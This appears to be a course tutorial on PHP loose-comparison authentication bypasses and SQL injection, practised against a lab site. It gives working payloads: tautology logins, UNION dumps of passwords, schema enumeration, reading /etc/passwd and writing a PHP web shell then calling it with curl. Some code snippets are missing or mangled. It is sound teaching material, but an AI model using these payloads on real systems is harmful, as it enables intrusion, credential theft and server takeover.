Server-side web attacks

Web applications offer an incredibly wide attack surface, ranging from attacks directly targeting the server-side code or databases, to attacks running in the browser. We consider PHP, one of the most prominent programming languages for web application, and we illustrate two typical vulnerabilities: PHP string comparison attacks and SQL injections.

PHP string comparison attacks

PHP offers two kind of comparison operators: strict comparison === and loose comparison ==. The following tables illustrate the difference:

Strict comparison, from hydrasky.com

Loose comparison, from hydrasky.com

We notice that strict comparison equates only identical values while loose comparison also equates data of different types. For example, when strings and integers are compared, the former are converted into integer values: string “php” is equal to integer 0 (in purple), since it does not contain any digit at the beginning of the string.

Loose comparison is excessively liberal and it often introduces unpredictable behaviours that might undermine security. We illustrate some examples and, later on, we discuss how these could cause security flaws.

  1. When a string is compared with an integer the string is converted into integer. For example all of the following comparisons succeed:
    "0000" == 0
    "0e12" == 0  // exponential notation!
    "1abc" == 1  // integer is cut at the first non-numeric char
    "0abc" == 0  
    "abc"  == 0  // no digits, converted to 0
    
  2. When two strings are compared, if they “look like” integers PHP convert them. All of the following comparisons succeed:
    "0e12345" == "0e54321" // exponential notation: both are 0
    "0e12345" <= "1"       
    "0e12345" == "0"     
    

    Notice, in particular, that completely different strings become equal when compared through ==.

  3. There are some weird behaviours. For example, 0xF == "15" is TRUE but "0xF" == "15" is FALSE

Authentication bypass

We show how the loose comparison operation might allow an attacker to bypass authentication checks. We assume that the server has a token (variable $token) used to keep a user authenticated in a web session. The token must be provided by the user (variable $input) and is checked server side. For example, the token might be stored in a browser cookie and sent to the server at each request.

Consider the following code:


Suppose now that $token is "0e392847392922392924948292939399".
Since the token is a number in exponential notation any cookie that can be automatically converted to value 0 will pass the check, e.g., if $_COOKIE['user_token'] is "0". When $input and $token are compared the token and the cookie are converted into 0 and the comparison succeeds. Thus, the attacker can bypass authentication by simply providing input "0" instead of the correct token (in fact, even if the cookie is unset, NULL will be converted into value 0 and the check will succeed). Even if this case looks a bit artificial, this vulnerability has been exploited to bypass Worpress authentication in 2014. The idea was to brute-force the system until the token had the required form (exponential notation).

The following code offers a more efficient exploitation:


In this case, the input is in JSON and the token value is extracted from the JSON blob. For example, $jsonInput could be '{"token":".....","username":"admin"}'. This offers the possibility of passing an integer value like 0, as in '{"token":0,"username":"admin"}'. This forces the conversion of the token into an integer, which will be equal to 0 if it starts with 0 or with a non-numeric char (i.e., with high probability!). For example, "0f828c564f71fea3a12dde8bd5d27063" and "af828c564f71fea3a12dde8bd5d27063" would both bypass the authentication test.

Finally, the following code shows an unexpected behaviour that is source of a very frequent vulnerability in PHP applications:


In this example it is used strcmp to compare the token and the input. The attacker passes an *(empty array) as input (this is possible by passing token[]= as parameter or by setting a array() value in a cookie). strcmp fails and returns NULL but NULL is loosely equal to 0, which makes the comparison succeed. This behaviour is really subtle and, at the same time, offers an very dangerous and trivial exploitation.

SQL Injections

We study a powerful code injection technique that exploits security vulnerabilities of a website. SQL statements are injected in the input field of the web application with the aim of executing improper queries in the database.

A simple vulnerable site

This is an example of vulnerable website (use haxor/sqleet to login). We report a snippet of the underlying code:

...
query($query);
  $results = "";
  while ($row = $result->fetch_array()) {
    echo '
  • '.$row[0].' '.$row[1]; if($row[2]) { echo ', '.$row[2].''; } echo '
  • '; } } ?> ...

    The lastname POST variable is directly appended to the query (see line 6 above), so we can set its value to any string of our choice:

    SELECT name, lastname, url FROM people WHERE lastname = 'INJECTED'
    

    For instance, to obtain the list of all users it is enough to inject one of the following values:

    ' OR 1=1 -- 
    ' OR 1=1 #
    ' OR 1 #
    ' OR ''='
    

    which will produce, in turn, the following queries:

    SELECT name, lastname, url FROM people WHERE lastname = '' OR 1=1 -- '
    SELECT name, lastname, url FROM people WHERE lastname = '' OR 1=1 #'
    SELECT name, lastname, url FROM people WHERE lastname = '' OR 1 #'
    SELECT name, lastname, url FROM people WHERE lastname = '' OR ''=''
    

    In all the examples we start our injection by closing the quote '. This will compare lastname with the empty string giving false. To make the result true we just add OR with some always true statement such as 1=1, 1, ''=''. In the first three cases we need to comment out the last quote using -- (and a white space after the two dashes) or # to avoid an error because of the unbalanced quotes. In the last case, instead, we use the quote in the query to close the last quote in ''=', so that we don't need to comment it out.

    A copy of the database used on the vulnerable website is locally available on the testbed machine. After logging in with your account, you can start experimenting with MySQL in the following way:

    lavish@testbed ~ $ mysql -A -usqli_example -psqli_example sqli_example
    Warning: Using a password on the command line interface can be insecure.
    Welcome to the MySQL monitor.  Commands end with ; or \g.
    Your MySQL connection id is 8
    Server version: 5.6.22-log Source distribution
    
    Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.
    
    Oracle is a registered trademark of Oracle Corporation and/or its
    affiliates. Other names may be trademarks of their respective
    owners.
    
    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
    
    mysql> SELECT name, lastname FROM people LIMIT 2;
    +----------+-----------+
    | name     | lastname  |
    +----------+-----------+
    | Marco    | Squarcina |
    | Riccardo | Focardi   |
    +----------+-----------+
    2 rows in set (0,00 sec)
    
    mysql> 
    

    Now you can try injecting code in the query by simply cut-and-pasting the malicious code between the two quotes. For example:

    mysql> SELECT name, lastname, url FROM people WHERE lastname = '';
    Empty set (0.00 sec)
    
    mysql> SELECT name, lastname, url FROM people WHERE lastname = '' OR 1=1 -- ';
        -> ;
    +-----------+-----------+-----------------------------------+
    | name      | lastname  | url                               |
    +-----------+-----------+-----------------------------------+
    | Marco     | Squarcina | http://minimalblue.com/           |
    | Riccardo  | Focardi   | http://www.dsi.unive.it/~focardi/ |
    | Claudio   | Bozzato   | NULL                              |
    | Francesco | Palmarini | http://happyteenfriends.com/      |
    | Mauro     | Tempesta  | http://mrstorm.minimalblue.com/   |
    | Marco     | Gasparini | NULL                              |
    | Roberta   | Prendin   | http://www.robertaprendin.com/    |
    | Gaia      | Orsini    | NULL                              |
    | Andrea    | Possemato | NULL                              |
    | Matteo    | Comisso   | NULL                              |
    +-----------+-----------+-----------------------------------+
    10 rows in set (0.00 sec)
    
    mysql> 
    

    You see that the dashes and the space comment out the quote and also the semi-column (which terminates command line SQL). This is why we have to insert an extra semi-column in the next line.

    Basic injections

    How can we show more interesting data (like passwords) using injections?

    UNION ALL can be used to combine two (or more) results:

    SELECT name, lastname, url FROM people WHERE lastname = '' UNION ALL SELECT username, mail, password FROM people;
    

    NOTE: The number of columns in the SELECT statements must be equal. If the numer of columns in the first SELECT statement is unknown, we can guess it by adding some 1 until the query is successfully executed:

    mysql> SELECT name, lastname, url FROM people WHERE lastname = '' UNION ALL SELECT 1;
    ERROR 1222 (21000): The used SELECT statements have a different number of columns
    mysql> SELECT name, lastname, url FROM people WHERE lastname = '' UNION ALL SELECT 1,1;
    ERROR 1222 (21000): The used SELECT statements have a different number of columns
    mysql> SELECT name, lastname, url FROM people WHERE lastname = '' UNION ALL SELECT 1,1,1;
    +------+----------+------+
    | name | lastname | url  |
    +------+----------+------+
    | 1    | 1        | 1    |
    +------+----------+------+
    1 row in set (0.00 sec)
    
    mysql>
    

    EXERCISE: Try to print the list of user passwords on the vulnerable website

    What if there is just one column in the first SELECT but we want to dump several columns in one shot? CONCAT is our friend:

    mysql> SELECT name FROM people WHERE lastname = '' UNION ALL SELECT CONCAT(username, '|', name) FROM people;
    +--------------------+
    | name               |
    +--------------------+
    | lavish|Marco       |
    | r1x|Riccardo       |
    | repnz|Claudio      |
    | erpalma|Francesco  |
    | mrstorm|Mauro      |
    | xire|Marco         |
    | anctartica|Roberta |
    | G414|Gaia          |
    | DocPox|Andrea      |
    | matcom|Matteo      |
    +--------------------+
    10 rows in set (0.00 sec)
    

    Sometimes the page code does not iterate over the result set, but prints only the first row. We need a way to aggregate several rows into one single row. We can use GROUP_CONCAT for this:

    SELECT name FROM people WHERE lastname = ''
    UNION ALL
    SELECT GROUP_CONCAT(username, '|', mail, '|', password SEPARATOR '  ') FROM people;
    

    Notice the use of SEPARATOR to indicate how to separate the different rows in the GROUP_CONCAT.

    Retrieving database structure

    Until now we assumed to know the name of the columns/tables/databases we were interested to dump. In reality, tables have fancy prefixes and cannot be easily guessed, hence we need a reliable way to extract the database structure.

    In several DBMS (MySQL, Postgres) there's a database called INFORMATION_SCHEMA that stores all the information of all the databases. We can dump known fields to get the whole db structure.

    List databases:

    SELECT schema_name FROM information_schema.schemata;
    

    List tables:

    SELECT table_schema, table_name FROM information_schema.tables;
    

    List the columns of all relevant databases:

    SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema NOT LIKE '%_schema';
    

    EXERCISE: Try to print the databases, the tables and the columns of relevant databases on the vulnerable website

    Advanced techniques

    Reading files

    It works only if the db user has the FILE privilege and the accessed file is readable by the mysql user

    SELECT LOAD_FILE('/etc/passwd');
    

    (this example will not work on testbed since the FILE privilege is not granted to the user sqli_example)

    Creating files

    It works only if the db user has the FILE privilege and the mysql user is allowed to write files in that directory. This is very dangerous as an attacker may create PHP files to obtain a shell on the server as follows:

    SELECT '' INTO OUTFILE '/var/www/pwn.php';
    

    Now it is enough to execute:

    $ curl http://vulnerablesite.com/pwn.php?cmd=id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    Notice that the command id is executed on the server!

    Misc

    Is it possible to concatenate multiple queries by adding a ';' (semicolon)?
    Most SQL server implementations allow multiple statements to be executed in the same call. On the other hand, some APIs such as PHP mysql_query() function do not allow this.
    For example:

    mysql> SELECT name FROM people WHERE lastname = ''; SELECT name from people;    Empty set (0.00 sec)
    
    +-----------+
    | name      |
    +-----------+
    | Marco     |
    | Riccardo  |
    | Claudio   |
    | Francesco |
    | Mauro     |
    | Marco     |
    | Roberta   |
    | Gaia      |
    | Andrea    |
    | Matteo    |
    +-----------+
    10 rows in set (0.00 sec)
    

    However this does not work on the vulnerable website since it uses mysql_query().

    Training Challenges

    There exists many free challenges to experiment with server-side security (especially with SQLi) in a legal and safe way. We recommend the following websites if you want to broaden your exploitation skills: